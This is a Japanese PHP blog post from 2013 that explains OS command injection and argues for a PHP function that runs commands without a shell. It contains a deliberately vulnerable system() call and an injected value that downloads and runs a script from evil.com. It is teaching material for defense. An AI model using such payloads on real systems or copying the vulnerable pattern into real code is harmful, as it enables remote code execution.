2013年12月21日土曜日

PHPだってシェル経由でないコマンド呼び出し機能が欲しい

このエントリはPHP Advent Calendar 2013 in Adventar の21日目です。

OSコマンドインジェクションとは

OSコマンドインジェクションという脆弱性があります。PHPから外部コマンドを呼んでいる場合に、意図したコマンドとは別のコマンドを外部から指定され、実行されてしまうものです。

下記のように、myprog をパラメータ指定で起動している場合で説明します。$paramはファイル名やメールアドレスなどを想定しています。
$param = $_GET['param'];
system("myprog $param");
$paramとして ; wget http://evil.com/bad.php ; php bad.php  を指定されると、system関数で実行するコマンドは下記となります。
myprog ; wget http://evil.com/bad.php ; php bad.php
; はシェルのメタ文字で、複数のコマンドを続けて実行するという意味なので、上記により、evil.comからbad.phpをダウンロード(*1)して、その後実行するという流れになります。

*1 evil.comではスクリプトをそのままダウンロードする設定と想定しています。

OSコマンドインジェクション脆弱性の対策

OSコマンドインジェクションは重大な脆弱性なので、以下のいずれかの対策をとります。
  • OSコマンドを呼ばずPHPの標準機能で何とかする
  • OSコマンドに対して、外部から変更できるパラメータを指定しない
  • OSコマンドに指定するパラメータを英数字に限定する
これら対策は多くの場合実施可能です。たとえば、sendmailコマンドでメール送信する場合は、オプション -t を使うと、コマンドパラメータに送信先メールアドレスを指定せずメールヘッダ中のto: cc: bcc:に指定されたメールアドレスに送信してくれます。メールメッセージは標準入力から読み込ませるようにすれば、sendmailに可変のパラメータを指定せずにメール送信できます。PHPの場合はpopen関数で標準入力が指定できます。それに、そもそもsendmailコマンドを使わずに、mb_send_mail関数でメール送信すればいいわけです。

しかし、どーーーーしても上記対策がとれない場合は、コマンドに指定するパラメータを安全な方法でエスケープすることになります。PHPにはこの目的の関数が2種類用意されています。escapeshellcmdescapeshellargです。しかし、escapeshellcmdの方は「使うな危険」状態(参照)ですので、escapeshellargの方を使うことになります。シェルのエスケープ関数の安全性については、拙著を書く時に調べて、そこで発見したescapeshellcmd関数の問題についてはブログに書きました。一方、escapeshellargは大丈夫そうでしたので、拙著では優先順位第4の方法として紹介しています。
私がコマンドパラメータのエスケープに慎重な理由は以下の通りです。
  • OSコマンドインジェクション脆弱性の影響が甚大である
  • シェルの文法の複雑性
  • シェルの仕様が環境依存である可能性
  • エスケープの際の文字エンコーディングの取り扱いに起因する問題の可能性
うーん、これらを見るとシェルが諸悪の根源のような気がしてきますね…そうなんです。実は、PHP以外の言語では、シェルを経由しないコマンド呼び出しの方法が用意されています。

コマンド呼び出しとシェル

PHPには複数のコマンド呼び出し関数がありますが、いずれもシェル経由でのコマンド呼び出しとなります(*2)。例えば、system関数からmypsという自作プログラムを以下のように呼び出す場合。
system('myps 10 ; pwd');
以下のように sh 経由でコマンドが実行されていることが分かります。
UID        PID  PPID  CMD
ockeghem 22244 20769  php system.php
ockeghem 22245 22244  sh -c cd '/home/ockeghem' ; myps 10 ; pwd
ockeghem 22246 22245  myps 10
最後の行に ; pwd が書いていませんが、これはmypsの終了後に別のコマンドとして実行されます。
一方、python3で以下のスクリプトを実行する場合。
import subprocess
subprocess.call(["myps", "10 ; pwd"])
以下のように、sh は起動されず、全てのパラメータはmypsの引数になります。すなわち、OSコマンドインジェクション脆弱性にはなりません。
UID        PID  PPID  CMD
ockeghem 22362 20769  python3 system.py
ockeghem 22363 22362  myps 10 ; pwd
また、perlやrubyを使う場合、system関数にてコマンドとパラメータを別に指定すると、shを経由しないでコマンドを実行します。
system('myps', '10 ; pwd');
また、JavaのRuntime#execやProcessBuilderによりコマンドを起動した場合もシェルを経由しません。このため、明示的にシェル起動にしない限り、OSコマンドインジェクションにはなりません。

まとめ

OSコマンドインジェクション脆弱性とシェルの関係について説明しました。OSコマンドインジェクションは、シェル経由でコマンド実行する際のパラメータ解釈を悪用した攻撃手法といえます。このため、外部からのパラメータをOSコマンドに渡さなければならない場合、以下の解決策があります。
  • シェルのパラメータを正しく構成する
  • シェルを経由しないでコマンドを起動する
シェルのパラメータを正しく構成する場合は、パラメータのエスケープが必要となりますが、それが完全であることの証明はなかなか難しいと言えます。このため、シェルを経由しないでコマンドを起動する機能があれば、そちらを利用することによりOSコマンドインジェクション脆弱性の心配がなくなります。
PHPにはシェルを経由しないコマンド機能がない(*2)ので、PHP好きとしては残念な気持ちになりますね。PHPコミッタのみなさま、PHP5.6の新機能として、シェルを経由しないコマンド呼び出しの機能を追加できませんか?

*2 例外として、pcntl_fork および pcntl_exec を使ってコマンドを呼び出すとシェル経由にはなりませんが、PCNTL関数の制限としてCGI版PHPを使わなければならないため、通常のWebアプリケーションで利用するのは現実的ではありません。

変更履歴(2013/12/21 19:20)

まとめを少し変更しました。全体の主張に変更はありません。

0 件のコメント:

コメントを投稿

フォロワー